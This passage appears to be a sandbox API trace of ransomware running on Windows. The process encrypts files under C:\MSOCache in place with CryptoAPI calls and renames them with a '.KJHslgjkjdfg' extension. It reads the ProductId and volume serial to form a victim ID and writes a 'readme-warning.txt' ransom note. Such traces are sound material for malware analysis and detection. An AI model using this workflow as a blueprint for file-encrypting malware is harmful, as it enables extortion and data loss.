(lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0148.562] GetProcessHeap () returned 0x2ef0000 [0148.562] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0148.562] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0148.562] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff518 | out: lpNewFilePointer=0x0) returned 1 [0148.562] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f8*=0xe, lpOverlapped=0x0) returned 1 [0148.565] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0148.565] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0148.565] GetProcessHeap () returned 0x2ef0000 [0148.565] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0148.565] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4e0*=0x40) returned 1 [0148.566] CryptDestroyKey (hKey=0x2f18208) returned 1 [0148.566] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f8*=0x40, lpOverlapped=0x0) returned 1 [0148.566] WriteFile (in: hFile=0x124, lpBuffer=0x4dff500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff500*, lpNumberOfBytesWritten=0x4dff4f8*=0x4, lpOverlapped=0x0) returned 1 [0148.566] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f8*=0x10, lpOverlapped=0x0) returned 1 [0148.566] WriteFile (in: hFile=0x124, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff4f8*=0x80, lpOverlapped=0x0) returned 1 [0148.566] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0148.566] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f8*=0x8, lpOverlapped=0x0) returned 1 [0148.566] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0148.566] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0148.566] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.566] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xc72, lpNumberOfBytesRead=0x4dff504, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff504*=0xc72, lpOverlapped=0x0) returned 1 [0148.567] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0xc80, dwBufLen=0xc80 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0xc80) returned 1 [0148.567] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.567] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4f8*=0xc80, lpOverlapped=0x0) returned 1 [0148.567] CryptDestroyKey (hKey=0x2f18208) returned 1 [0148.567] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.567] SetEndOfFile (hFile=0x124) returned 1 [0148.570] GetProcessHeap () returned 0x2ef0000 [0148.570] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0148.570] GetProcessHeap () returned 0x2ef0000 [0148.570] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0148.570] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.kjhslgjkjdfg")) returned 1 [0148.575] CloseHandle (hObject=0x124) returned 1 [0148.575] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0148.575] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0148.579] GetProcessHeap () returned 0x2ef0000 [0148.579] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0148.580] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0148.580] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff518 | out: lpNewFilePointer=0x0) returned 1 [0148.580] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f8*=0x1, lpOverlapped=0x0) returned 1 [0148.584] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0148.584] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0148.584] GetProcessHeap () returned 0x2ef0000 [0148.584] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0148.584] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dff4e0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dff4e0*=0x30) returned 1 [0148.584] CryptDestroyKey (hKey=0x2f18208) returned 1 [0148.585] WriteFile (in: hFile=0x124, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dff4f8*=0x30, lpOverlapped=0x0) returned 1 [0148.585] WriteFile (in: hFile=0x124, lpBuffer=0x4dff500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff500*, lpNumberOfBytesWritten=0x4dff4f8*=0x4, lpOverlapped=0x0) returned 1 [0148.585] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f8*=0x10, lpOverlapped=0x0) returned 1 [0148.585] WriteFile (in: hFile=0x124, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff4f8*=0x80, lpOverlapped=0x0) returned 1 [0148.585] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0148.585] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f8*=0x8, lpOverlapped=0x0) returned 1 [0148.585] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0148.585] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0148.585] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.585] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x106f, lpNumberOfBytesRead=0x4dff504, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff504*=0x106f, lpOverlapped=0x0) returned 1 [0148.586] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x1070, dwBufLen=0x1070 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x1070) returned 1 [0148.587] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.587] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4f8*=0x1070, lpOverlapped=0x0) returned 1 [0148.587] CryptDestroyKey (hKey=0x2f18208) returned 1 [0148.587] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1134, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.587] SetEndOfFile (hFile=0x124) returned 1 [0148.590] GetProcessHeap () returned 0x2ef0000 [0148.590] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0148.590] GetProcessHeap () returned 0x2ef0000 [0148.590] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0148.590] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.kjhslgjkjdfg")) returned 1 [0148.591] CloseHandle (hObject=0x124) returned 1 [0148.591] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0148.591] GetProcessHeap () returned 0x2ef0000 [0148.591] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0148.591] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0148.591] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dff330 | out: pbData=0x2f0c898, pdwDataLen=0x4dff330) returned 1 [0148.591] CryptDestroyKey (hKey=0x2f18208) returned 1 [0148.591] GetProcessHeap () returned 0x2ef0000 [0148.591] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0148.591] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0148.591] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dff330 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dff330) returned 1 [0148.591] CryptDestroyKey (hKey=0x2f18208) returned 1 [0148.591] GetProcessHeap () returned 0x2ef0000 [0148.591] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f3d270 [0148.592] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0148.592] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f3d270, pdwDataLen=0x4dff330 | out: pbData=0x2f3d270, pdwDataLen=0x4dff330) returned 1 [0148.592] CryptDestroyKey (hKey=0x2f18208) returned 1 [0148.592] GetProcessHeap () returned 0x2ef0000 [0148.592] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0148.592] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0148.592] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfef10 | out: pbData=0x2f0c928, pdwDataLen=0x4dfef10) returned 1 [0148.592] CryptDestroyKey (hKey=0x2f18208) returned 1 [0148.592] GetProcessHeap () returned 0x2ef0000 [0148.592] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11778 [0148.592] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0148.592] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11778, pdwDataLen=0x4dfef10 | out: pbData=0x2f11778, pdwDataLen=0x4dfef10) returned 1 [0148.592] CryptDestroyKey (hKey=0x2f18208) returned 1 [0148.592] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfef0c | out: phkResult=0x4dfef0c*=0x124) returned 0x0 [0148.592] RegQueryValueExA (in: hKey=0x124, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfef18, lpcbData=0x4dfef14*=0x400 | out: lpType=0x0, lpData=0x4dfef18*=0x30, lpcbData=0x4dfef14*=0x18) returned 0x0 [0148.593] RegCloseKey (hKey=0x124) returned 0x0 [0148.593] GetProcessHeap () returned 0x2ef0000 [0148.593] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0148.593] GetProcessHeap () returned 0x2ef0000 [0148.593] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11778 | out: hHeap=0x2ef0000) returned 1 [0148.593] GetProcessHeap () returned 0x2ef0000 [0148.593] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11778 [0148.593] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfec80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0148.593] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11778, pdwDataLen=0x4dfece4 | out: pbData=0x2f11778, pdwDataLen=0x4dfece4) returned 1 [0148.593] CryptDestroyKey (hKey=0x2f18208) returned 1 [0148.593] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfece8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0148.593] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfece0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfece0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0148.593] GetProcessHeap () returned 0x2ef0000 [0148.593] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11778 | out: hHeap=0x2ef0000) returned 1 [0148.593] wsprintfA (in: param_1=0x4dfef2f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0148.593] wsprintfA (in: param_1=0x4dff33c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0148.593] GetProcessHeap () returned 0x2ef0000 [0148.593] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f3d638 [0148.594] wsprintfW (in: param_1=0x4dfe30c, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\readme-warning.txt") returned 81 [0148.594] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0148.594] WriteFile (in: hFile=0x124, lpBuffer=0x2f3d638*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfe308, lpOverlapped=0x0 | out: lpBuffer=0x2f3d638*, lpNumberOfBytesWritten=0x4dfe308*=0x3b3, lpOverlapped=0x0) returned 1 [0148.595] CloseHandle (hObject=0x124) returned 1 [0148.595] GetProcessHeap () returned 0x2ef0000 [0148.595] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3d270 | out: hHeap=0x2ef0000) returned 1 [0148.595] GetProcessHeap () returned 0x2ef0000 [0148.596] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3d638 | out: hHeap=0x2ef0000) returned 1 [0148.596] GetProcessHeap () returned 0x2ef0000 [0148.596] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0148.596] GetProcessHeap () returned 0x2ef0000 [0148.596] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0148.596] FindClose (in: hFindFile=0x2f181c8 | out: hFindFile=0x2f181c8) returned 1 [0148.596] GetProcessHeap () returned 0x2ef0000 [0148.596] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16bd8 | out: hHeap=0x2ef0000) returned 1 [0148.596] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{90140000-001B-0409-1000-0000000FF1CE}-C", cAlternateFileName="{94E50~1")) returned 1 [0148.596] GetProcessHeap () returned 0x2ef0000 [0148.596] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8e) returned 0x2f14588 [0148.596] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f181c8 [0148.601] GetProcessHeap () returned 0x2ef0000 [0148.601] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0148.601] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0148.601] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0148.602] GetProcessHeap () returned 0x2ef0000 [0148.602] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x290) returned 0x2f16bd8 [0148.602] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0148.603] GetProcessHeap () returned 0x2ef0000 [0148.603] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0148.603] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0148.603] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff518 | out: lpNewFilePointer=0x0) returned 1 [0148.603] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f8*=0x8, lpOverlapped=0x0) returned 1 [0148.608] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0148.608] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0148.608] GetProcessHeap () returned 0x2ef0000 [0148.608] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0148.608] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dff4e0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dff4e0*=0x30) returned 1 [0148.608] CryptDestroyKey (hKey=0x2f18208) returned 1 [0148.608] WriteFile (in: hFile=0x124, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dff4f8*=0x30, lpOverlapped=0x0) returned 1 [0148.608] WriteFile (in: hFile=0x124, lpBuffer=0x4dff500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff500*, lpNumberOfBytesWritten=0x4dff4f8*=0x4, lpOverlapped=0x0) returned 1 [0148.608] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f8*=0x10, lpOverlapped=0x0) returned 1 [0148.609] WriteFile (in: hFile=0x124, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff4f8*=0x80, lpOverlapped=0x0) returned 1 [0148.609] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0148.609] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, 